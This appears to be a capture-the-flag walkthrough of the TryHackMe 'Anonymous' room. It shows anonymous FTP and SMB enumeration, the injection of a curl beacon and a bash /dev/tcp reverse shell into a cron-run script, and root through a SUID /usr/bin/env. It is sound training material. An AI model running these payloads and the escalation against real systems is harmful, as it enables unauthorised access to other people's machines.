Overview⌗

Welcome to this walkthrough of the TryHackMe room, Anonymous .

This Medium Linux room leverages anonymous access to an FTP service in order to modify a script that’s run via cron every five minutes. This gets us a user shell and, from there, we abuse a SUID binary to get ourselves a root shell. All in all, this is a fun room to accomplish and has touches of OSCP-like concepts.

NMAP Scan⌗

As always we begin our enumeration with an NMAP scan. I’ve condensed it slightly to lessen the output:

21/tcp  open  ftp         syn-ack vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 May 17 21:30 scripts [NSE: writeable

22/tcp  open  ssh         syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)

139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

User Pwn⌗

There’s two services that peaked my interest off the bat; FTP and SMB. Looking at both, they allow anonymous access. If we check SMB first, we can see a couple of files in a pics share - downloading them and running them through binwalk doesn’t show any hidden data. For now, we’ll assume this is intended as a distraction.

Turning to FTP, there’s a few files we can see through our anonymous login. A shell script, a log file and a text file. The latter txt file outlines how anonymous access should probably be disabled in the form of a note from the author– I’d agree. The log file we see is exactly that as it contains log entries. Finally we have a shell script called clean.sh :

-rwxr-xrwx 1 1000 1000 346 May 19 18:31 clean.sh

Reading the scripts contents, we can see that this file is responsible for updating the log file we found:

#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi

Its a simple if/else statement that executes an echo statment that gets redirected into our log, based on the value of a defined variable. What the script is doing isn’t actually the important bit, the important bit is that, as well as read access to the file, also have permission to modify it. Attempts to download the script locally, modify it and re-upload seemingly failed, likely because the re-uploaded file doesn’t retain the right user permissions– by default the file is owned by UID/GID 1000, if we re-upload the file this number changes to something else.

That said, we can modify files directly on the FTP server. I used lftp here because I have mad issues with the standard Linux FTP binary if active mode is being used (it’s a FW problem I’ve not fixed yet):

lftp anonymous@10.10.210.243:/scripts> edit clean.sh

This opens the file up in vim – note this is a local instance of vim, so breaking out of it is going to put you into a shell on your own local machine – and from there we can edit it. For testing purposes I added a simple cURL command to the bottom of the file:

curl 10.11.x.x/test

Initially I thought things weren’t working until suddenly I got this through on my Python listener:

10.10.210.243 - - [19/May/2020 19:45:03] "GET /test HTTP/1.1" 404 -

Now, if we look at the time this occured we can see it was just after the 45th minute of the current hour - I left it and observed to see when, if at all, we got another hit and low and behold:

10.10.210.243 - - [19/May/2020 19:50:04] "GET /test HTTP/1.1" 404 -

This should make it apparant that there’s something (we can assume it is a cron) running this script every 5 minutes. That makes the wait time between changes a bit painful but we have confirmed we can execute code. As I don’t trust 99% of rooms to contain a copy of nc that includes the -e executable flag, I decided to try a BASH specific method to get a shell, as we’re modifying a bash script. This is a method listed under the Pentest Monkey CheatSheet :

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Replacing this with my relevant IP and a port with an active listener, I waited until I finally got a connection:

$ nc -nlvp 9001
bash: cannot set terminal process group (1451): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ whoami
namelessone

This gets us some shell access and the user.txt flag.

Root Pwn⌗

Next up, as is standard practice whilst I poke around, I set off linPEAS - this actually highlighted our privilage escalation vector. Reading though the output of a completed scan, I could see a particularly interesting binary listed under SUID binaries found on the system:

/usr/bin/env

This is not a typical SUID binary on a Linux system and having it as one is a good way to allow abuse to occur. If we run the name of this binary, env, through the ever-popular GTFOBins we can see that this can be used to gain access to root if the SUID bit is set. To take advantage of this we can run the following from our current user shell:

namelessone@anonymous:/dev/shm$ /usr/bin/env /bin/sh -p
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

Note that unless you have a full TTY you likely won’t get any output once you’ve elevated to root, but commands will still run. You’ll also retain your UID/GID, but the EUID (effective user-ID) will be set to root, which means you’re basically root. This will enable you to go and grab the root flag.

Final Thoughts⌗

TL;DR - keep it simple and be careful and this room shouldn’t give you too much trouble.

This is a nice little OSCP-like box in terms of the things you have to check, and the room name provides the clue that we get initial access through anonymous logins. It was rated medium - many of the concepts used are basic so I wouldn’t personally say it’s that hard. It’s more about observation and ensuring that you’re not digging yourself a grave by, for example, re-uploading a modified file with incorrect permissions.